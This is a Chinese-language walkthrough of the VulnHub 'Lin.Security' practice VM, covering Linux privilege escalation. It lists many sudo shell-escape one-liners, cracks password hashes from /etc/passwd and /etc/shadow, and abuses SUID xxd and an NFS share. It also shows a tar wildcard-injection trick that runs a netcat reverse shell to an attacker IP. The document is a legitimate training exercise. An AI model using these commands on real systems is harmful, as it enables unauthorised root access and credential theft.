靶机地址:https://www.vulnhub.com/entry/linsecurity-1,244/
靶机难度:中级(CTF)
靶机发布日期:2018年7月11日
靶机描述:
在in.security,我们想要开发一个Linux虚拟机,该虚拟机在编写本文时基于最新的Ubuntu发行版(18.04 LTS),但存在许多漏洞,这些漏洞使用户无法升级。扎根在盒子上。旨在帮助理解某些内置应用程序和服务(如果配置错误)可能会被攻击者滥用。
我们已将框配置为模拟真实世界的漏洞(尽管位于单个主机上),这将帮助您完善本地特权升级技能,技术和工具集。从相当容易到中级都有许多挑战,我们很高兴看到您用来解决这些挑战的方法!
该图像不到1.7 GB,可以使用上面的链接下载。打开OVA文件时,将导入并使用NAT适配器配置名为lin.security的VM,但是可以通过首选虚拟化平台的首选项将其更改为桥接。
首先,您可以使用以下凭据登录主机:bob / secret
目标:得到root权限
作者:DXR嗯嗯呐
信息收集
nmap扫描靶机地址
根据上面的提示这里靶机存在很多风险,应该是考linux提权方面,我们开始测试
他给出了bob用户,首先用此用户登陆看看
方法一:sudo提权
bob用户具备sudo权限
这里介绍一个关于linux提权的网站,都是精华。
ash
一个简单的轻量级的 Shell,占用资源少,适合运行于低内存环境,但是与下面讲到的 bash shell 完全兼容。
Sudo ash
awk
一个强大的文本分析工具,相对于grep的查找,sed的编辑,awk在其对数据分析并生成报告时,显得尤为强大。简单来说awk就是把文件逐行的读入,以空格为默认分隔符将每行切片,切开的部分再进行各种分析处理。
sudo awk 'BEGIN {system("/bin/sh")}'
bash
bash shell 是 Linux 的默认 shell,本教程也基于 bash 编写。bash 由 GNU 组织开发,保持了对 sh shell 的兼容性,是各种 Linux 发行版默认配置的 shell。
sudo bash
csh
sh 之后另一个广为流传的 shell 是由柏克莱大学的 Bill Joy 设计的,这个 shell 的语法有点类似C语言,所以才得名为 C shell ,简称为 csh。
sudo csh
curl
在Linux中curl是一个利用URL规则在命令行下工作的文件传输工具,可以说是一款很强大的http命令行工具。它支持文件的上传和下载,是综合传输工具,但按传统,习惯称curl为下载工具。
sudo curl file:///etc/shadow
dash
原来bash是GNU/Linux 操作系统中的 /bin/sh 的符号连接,但由于bash过于复杂,有人把 bash 从 NetBSD 移植到 Linux 并更名为 dash,且/bin/sh符号连接到dash。Dash Shell 比 Bash Shell 小的多(ubuntu16.04上,bash大概1M,dash只有150K),符合POSIX标准。Ubuntu 6.10开始默认是Dash。
sudo dash
ed
Linux ed命令是文本编辑器,用于文本编辑。
ed是Linux中功能最简单的文本编辑程序,一次仅能编辑一行而非全屏幕方式的操作。
ed命令并不是一个常用的命令,一般使用比较多的是vi 指令。但ed文本编辑器对于编辑大文件或对于在shell脚本程序中进行文本编辑很有用。
sudo ed
!/bin/sh
env
查询环境变量
sudo env /bin/sh
expect
expect是一个自动化交互套件,主要应用于执行命令和程序时,系统以交互形式要求输入指定字符串,实现交互通信。
sudo expect -c 'spawn /bin/sh;interact'
find
Linux find 命令用来在指定目录下查找文件。任何位于参数之前的字符串都将被视为欲查找的目录名。如果使用该命令时,不设置任何参数,则 find 命令将在当前目录下查找子目录与文件。并且将查找到的子目录和文件全部进行显示。
sudo find . -exec /bin/sh \; -quit
ftp
Linux ftp命令设置文件系统相关功能。
FTP是ARPANet的标准文件传输协议,该网络就是现今Internet的前身。
sudo ftp
!/bin/sh
Less
less 与 more 类似,但使用 less 可以随意浏览文件,而 more 仅能向前移动,却不能向后移动,而且 less 在查看之前不会加载整个文件。
sudo less /etc/passwd
!/bin/sh
Man
Linux提供了丰富的帮助手册,当你需要查看某个命令的参数时不必到处上网查找,只要man一下即可。可以使用man man 查看man的使用方法。
Sudo man man
!/bin/sh
More
Linux more 命令类似 cat ,不过会以一页一页的形式显示,更方便使用者逐页阅读,而最基本的指令就是按空白键(space)就往下一页显示,按 b 键就会往回(back)一页显示,而且还有搜寻字串的功能(与 vi 相似),使用中的说明文件,请按 h 。
Sudo more /etc/passwd
!/bin/sh
Scp
Linux scp 命令用于 Linux 之间复制文件和目录。
scp 是 secure copy 的缩写, scp 是 linux 系统下基于 ssh 登陆进行安全的远程文件拷贝命令。
scp 是加密的,rcp 是不加密的,scp 是 rcp 的加强版。
TF=$(mktemp)
echo 'sh 0<&2 1>&2' > $TF
chmod +x "$TF"
sudo scp -S $TF x y:
socat
socat是一个多功能的网络工具,名字来由是“Socket CAT”,可以看作是netcat的N倍加强版。
sudo socat stdin exec:/bin/sh
ssh
SSH(远程连接工具)连接原理:ssh服务是一个守护进程(demon),系统后台监听客户端的连接,ssh服务端的进程名为sshd,负责实时监听客户端的请求(IP 端口),包括公共秘钥等交换等信息。
sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
vi
vi 编辑器是 Linux/UNIX 环境下经典的编辑器
sudo vi -c ':!/bin/sh' /dev/null
zsh
Zsh属于Shell中的一种,但比Bash好用,而且完全兼容Bash,拥有及其丰富的插件、强大的自动补全能力、以及自定义功能,可以大大提供我们使用Linux的效率.
sudo zsh
pico
Linux pico命令用于编辑文字文件。
pico是个简单易用、以显示导向为主的文字编辑程序,它伴随着处理电子邮件和新闻组的程序pine而来。
sudo pico
^R^X
reset; sh 1>&0 2>&0
rvim
改进的Vi,一个程序员的文本编辑器
这需要rvim使用Python支持进行编译。前置:py3为Python 3。
sudo rvim -c ':python3 import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
perl
Perl一种功能丰富的计算机程序语言,运行在超过100种计算机平台上,适用广泛,从最初是为文本处理而开发的,现在用于各种任务,包括系统管理,Web开发,网络编程,GUI开发等。
Perl易于使用、高效、完整,而不是美观(小巧,优雅,简约)。同时支持过程和面向对象编程,对文本处理具有强大的内置支持,并且拥有第三方模块之一。 [1] Perl借取了C、sed、awk、shell脚本语言以及很多其他程序语言的特性,其中最重要的特性是它内部集成了正则表达式的功能,以及巨大的第三方代码库CPAN。
sudo perl -e 'exec "/bin/sh";'
tclsh
tclsh的是含有Tcl解释简单的壳体和可以读取它的标准输入或从文件Tcl命令,并评估它们。
Tcl是一种脚本语言,是一种基于字符串的命令语言,是一种解释性语言。所谓解释性是指不像其他高级语言需要通过编译和联结,而与其他Shell语言一样,直接对每条语句顺序解释执行。
sudo tclsh
exec /bin/sh <@stdin >@stdout 2>@stderr
git
一个开源的分布式版本控制系统,可以有效、高速地处理从很小到非常大的项目版本管理。
sudo git -p help config
!/bin/sh
script
script 是一个神奇命令,script 能够将终端的会话过程录制下来,然后使用 scriptreplay 就可以将其录制的结果播放给他人观看。script 的好处就在于你在终端中的所有操作、敲过的命令和打印出的结果它都可以原原本本地进行录制。可以应用于教学、演示、审计。
sudo script -q /dev/null
方法二:hash密码破解
在想在linux系统中,用户hash加密的密码存储在/etc/shadow中。如果我们查看/etc/passwd,可以看到以下内容
root:x:0:0:root:/root:/bin/bash
字段 | 含义 |
用户名 | 用户登录系统是使用的用户名 |
密码 | 密码位 |
UID | 用户表示号 |
GID | 缺省组标识号 |
注释性描述 | 例如存放用户全名等信息 |
宿主目录 | 用户登录系统后的缺省目录 |
命令解释器 | 用户使用的shell,默认为bash |
在靶机是发现passwd文件中存储hash密码
使用john或hashcat进行破解
获得账号密码
insecurity/P@ssw0rd
方法三:通配符提权值之tar命令注入
tar命令注入
查看发现靶机中存在一个root权限的每分钟执行一次的定时任务
看这个脚本的内容,发现使用tar命令分别备份home下的目录
我们进入bob用户的家目录
先在kail上生成一个反弹shell
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.56.3 lport=6666
在bob目录下,注入一个标志来指定我们的检查点
echo "" > --checkpoint=1
- --checkpoint=n:每写入n个记录之后设置一个检查点,在检查点可以执行任意的操作,
将payload写入一个sh文件
echo "mkfifo /tmp/ujwa; nc 192.168.56.3 6666 0</tmp/ujwa | /bin/sh >/tmp/ujwa 2>&1; rm /tmp/ujwa" > shell.sh
注入一个指定检查点动作的标志
echo "" > "--checkpoint-action=exec=sh shell.sh"
- –checkpoint-action=ACTION 在每个checkpoint(检查点)上执行ACTION
- --checkpoint-action指定exec:执行外部命令
等待一分钟,我们看到了备份文件时间更新了
反弹shell,获得root权限
关于通配符提权,这篇文章写得非常精细,参考。
方法四:SID提权
find / -perm -4000 -type f -exec ls -al {} \; 2>/dev/null
查询具备SID权限文件
xxd
xxd 命令用于使用二进制或十六进制格式显示文件内容,可以将指定文件或标准输入以十六进制转储,也可以把十六进制转储转换成原来的二进制形式。
使用xxd命令读取shadow
使用john解码获得root密码
root/secret123
taskset
taskset命令用于设置进程(或 线程)的处理器亲和性(Processor Affinity),可以将进程(或 线程)绑定到特定的一个 或 多个CPU上去执行,而不允许将进程(或 线程)调度到其他的CPU上。
taskset 1 /bin/sh -p
方法五:NFS提权
前面nmap端口扫描,发现靶机存在nsf服务
showmount 查看一下网络共享文件夹
挂着此网络目录
mount -t nfs 192.168.56.10:/home/peter /tmp/nfs/
看到root可以直接访问root目录,但是不能将文件直接拷贝到网络共享目录中
看到目录文件拥有者是test2,看来/home/peter拥有者的UID是1001,那我们修改一下test2用户的GID
groupmod -g 1005 test2
我们看到了nfs网络共享目录的所属组改为test2
创建ssh秘钥
使用test2,将公钥复制到nfs/.ssh目录中并将名称修改为authorized_keys
cp /tmp/authorized_keys authorized_keys
使用秘钥连接
ssh -i id_rsa peter@192.168.56.10
检查发现peter用户具备sudo权限,使用strace提权
strace
strace常用来跟踪进程执行时的系统调用和所接收的信号。在Linux世界,进程不能直接访问硬件设备,当进程需要访问硬件设备(比如读取磁盘文件,接收网络数据等等)时,必须由用户态模式切换至内核态模式,通 过系统调用访问硬件设备。strace可以跟踪到一个进程产生的系统调用,包括参数,返回值,执行消耗的时间。
sudo strace -o /dev/null /bin/sh
总结
这是对linux提权的总结,真的很丰盛,学习到了。
1、sudo提权的总结。
2、hash密码的破解。
3、chown文件劫持及通配符提权之tar命令提权。
4、SID提权。
5、NFS网络共享文件提权。